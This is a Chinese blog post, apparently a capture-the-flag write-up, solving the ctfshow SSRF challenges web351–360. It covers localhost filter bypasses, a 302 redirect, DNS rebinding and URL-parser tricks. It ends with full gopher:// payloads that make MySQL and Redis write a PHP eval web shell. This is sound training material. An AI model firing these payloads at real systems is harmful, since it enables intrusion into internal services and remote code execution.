ctfshowSSRF

最新推荐文章于 2024-08-08 12:53:41 发布
最新推荐文章于 2024-08-08 12:53:41 发布
阅读量3.5k 收藏 3
点赞数 1
分类专栏： CTF 文章标签： chfshow
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54648419/article/details/120580565
版权

web351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有防护直接POST

url=file:///var/www/html/flag.php

查看源代码发现源码，这波好像是误打误撞。。。

<?php

$flag="ctfshow{5410e1bd-e8ac-41d6-8bb9-c1b503b5c984}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
		echo $flag;
}
else{
		die("非本地用户禁止访问");
}
?>

那就改一下POST

url=http://127.0.0.1/flag.php

web352

增加了两个验证

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

这里主要是绕过preg_match('/localhost|127.0.0/')，直接偷图

在这里插入图片描述

url=http://127.1/flag.php

web353

多了对127、。、.0的检测

(!preg_match('/localhost|127\.0\.|\。/i', $url))

上一关payload也还可以

url=http://127.1/flag.php 无.0
url=http://0/flag.php
url=http://0x7F000001/flag.php IP转16进制

贴一个ip转进制网站，这里记得是POST传参，我get传了好长时间都不知道问题在哪。。。

web354

不让有0，1

if(!preg_match('/localhost|1|0|。/i', $url))

本来想拿http://①②⑦.⓪.⓪.①来绕过，但是没有反应。。。这里通过修改域名a记录来访问
在这里插入图片描述

url=http://2.node.yster.live/flag.php

web355

只需要host小于等于5，用刚开始的方法

if((strlen($host)<=5))

url=http://127.1/flag.php
url=http://0/flag.php

刚开始傻了一下，弄了个url=http://0/fl* 。。。然后直接报hacker了，是不是把/fl*都当成参数了呢

web356

小于3，用0直接可以

if((strlen($host)<=3))

url=http://0/flag.php

web357

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

利用302跳转和dns重绑定都可以

302跳转

服务器上写一个index.php内容是跳转到127.0.0.1/flag

<?php
header("Location:http://127.0.0.1/flag.php");

然后直接POST

url=http://xxx/index.php
dns重绑定

浅谈DNS重绑定
yu神的博客
原理简单来说就是访问一个域名的时候浏览器会保留下记录，这时如果域名绑定到另一个ip上，当再次访问这个域名的时候虽然重新请求了不同的ip但浏览器仍认为这是一个值得信赖的ip，这样就造成了DNS Rebinding攻击，所有给一个域名绑定两个ip，反复尝试即可。

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

以ctf开头以show结尾。

POST:url=http://ctf.@127.0.0.1/flag.php?show
POST:url=http://ctf.@127.0.0.1/flag.php#show

在@前加的内容都不会被解析成host的内容，而#或?后面的的内容也不会被解析到path中
在这里插入图片描述
在这里插入图片描述

web359

打无密码的mysql，直接用工具Gopherus

python gopherus.py --exploit mysql

root
select "<?php eval($_POST['1']);?>" into outfile "/var/www/html/1.php"

得到payload

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01
将_后的内容再urlencode编码一次
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

登录后

get: /check.php
post: returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

随后在1.php中进行任意命令执行
在这里插入图片描述

web360

打redis步骤与mysql大同小异

python gopherus.py --exploit redis

php
<?php eval($_POST['1']);?>

文件名默认shell.php，仍然是进行一次urlencode，这里不知道为啥执行一下就卡住了，但是已经执行成功了。

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

随后在shell.php中进行任意命令执行
在这里插入图片描述

Matat4
关注
专栏目录
【CTFSHOW】web入门SSRF
7ruth0hn的博客
06-21 1209
CTFSHOW web入门SSRF 发现学习渗透和ctf对xss,ssrf,csrf,ssti都有挺高要求的，一直没怎么系统刷过题。今天学习学习，补补之前落下的债(*￣3￣)╭ web351 扫描网站发现存在flag.php文件，通过分析和测试发现需要服务器本地访问，故使用传入127.0.0.1/flag.php web352 payload: web353 过滤代码： if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_
SSRF-CTFshow
unexpectedthing的博客
10-20 625
文章目录CTFshowweb351web352web353web354web355web356web357参考文献 CTFshow 对SSRF，比较重要的就是先尝试每一个协议是否可以使用。 web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url);//初始化一个curl的会话 curl_setopt($ch, CURLOPT_HEADER, 0);//对会话进行
【CTFWP】ctfshow-web351-358
最新发布
LongL_GuYu的博客
08-08 732
CTFWP：ctfshow-web351-358
ctfshow ssrf
weixin_52240463的博客
01-23 3319
ctfshow ssrf
CTFshow SSRF
starttv的博客
11-23 1148
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
CTFshow——SSRF
D.MIND 的博客
02-25 1091
文章目录web351——web352、353——黑名单过滤web354——DNS-Rebinding攻击绕过web355—— web351—— <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resul
ctfshow-SSRF
njh18790816639的博客
04-19 556
SSRF 其全称：Server—Side Request Forgery :服务器端请求伪造 是一种由攻击者构造形成的由 服务器端发起请求的一个安全漏洞。一般情况下，攻击的目是外网没有办法访问的内网。 很多WEb应用都其提供了从其他服务器上获取数据的功能，使用指定的url,web 应用可以获取图片，下载文件，读取文件等。这个功能如果被恶意使用，可以利用存在缺陷的web引用做为代理，攻击远程和本地服务器。 web351 <?php error_reporting(0); highlight_file(_
ctfshow web入门-ssrf
akxnxbshai的博客
05-13 783
目录 开头： web 351 web 352 web 353 web 354 web 355 web 356 web 357 Web 358 Web 359 Web 360 开头： 简单了解一下SSRF。 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统
ctfshow SSRF专题
会下雪的晴天
01-02 941
title: ctfshow SSRF专题 date: 2020-12-30 11:49:30 categories: ctfshow 新博客地址：https://yq1ng.github.io/ 随缘更 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） web351 web.
CTFshow_Web_SSRF——web351~web360（除354、357）
Ho1aAs‘s Blog
03-18 1852
文章目录前言一、知识点Ⅰ、SSRF攻击点Ⅱ、gopher协议二、题解web351web352、353web355web356web358web359web360完 前言 354和357由于端口改变、服务器所限等原因，无法解出 一、知识点 Ⅰ、SSRF攻击点 <?php $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,
ctfshow—SSRF详解
cosmoslin的博客
09-24 1344
web 351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?> 前置 c
CTFshow刷题日记-WEB-SSRF（web351-360）SSRF总结
Love&Share
09-28 6777
SSRF基础 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） 相关函数和类 file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中 readfile()：输出一个文件的内容 fsockopen()：打开一个网络连接或者一个Unix 套接字连接
CTFshow web入门 SSRF
Lum1n0us's Blog
07-17 521
web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?> 第一题，啥也没
[CTFSHOW]SSRF
Y4tacker的博客
01-12 1839
web351 首先代码审计，简简单单的使用php的curl，发现没有过滤，尝试读取本地文件 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_clo
ctfshow SSRF 351-358
2301_80548709的博客
05-09 2034
没办法,只能考虑其他办法了,这时有一个DNS解析的方法来了,众所周知,由于ip地址太过难记,所以人们搞出了域名,以十分好记的名称一对一的储存在DNS解析器中,例如人们知道百度的域名baidu.com,但是不记得他的网站ip地址,这个代码,就是我们能访问的服务器的源代码,它没有任何绕过,没有任何过滤,我们需要的flag存在于flag.php文件中,但是这个文件是我们可以访问的服务器通过中转的方式,才能获取的,也就是说只有这个服务器可以访问,如果我们直接访问就会出现。是标志，用于指示不接受私有地址和保留地址。
CTFshow之SSRF
读万卷书，行万里路。
09-04 603
文章目录1 web3512 web3523 web3534 web3545 web3556 web3567 web3578 web3589 web35910 web360 其他师傅都写得很详细了，只是做个简单的笔记。 1 web351 POST url=file:///var/www/html/flag.php 2 web352 只限制了协议。 url=http://127.0.0.1/flag.php 3 web353 十六进制表示： url=http://0x7F000007/flag.php
CTFshow web入门——文件包含
小元砸的博客
02-07 4030
Web 78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 一.分析代码： 使用 include进行了文件包含 二.解题过程： 构造playload： ?file=php://filter/read=convert.base64-encode/resource=flag.php Web 79 <?p
php反序列化之字符逃逸
qq_53856457的博客
05-14 1829
php反序列化之字符逃逸法 1.按我的理解，反序列化的过程就是碰到;}与最前面的{配对后，便停止反序列化。如下序列化： <?php class Test { public $a = "aa"; public $b = "bbb"; public $c = "cccc"; } $qwe = new Test(); echo serialize($qwe); 输出序列化结果为：O:4:“Test”:3:{s:1:“a”;s:2:“aa”;s:1:“b”;s:3:“bbb”;s:1:“c”;
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值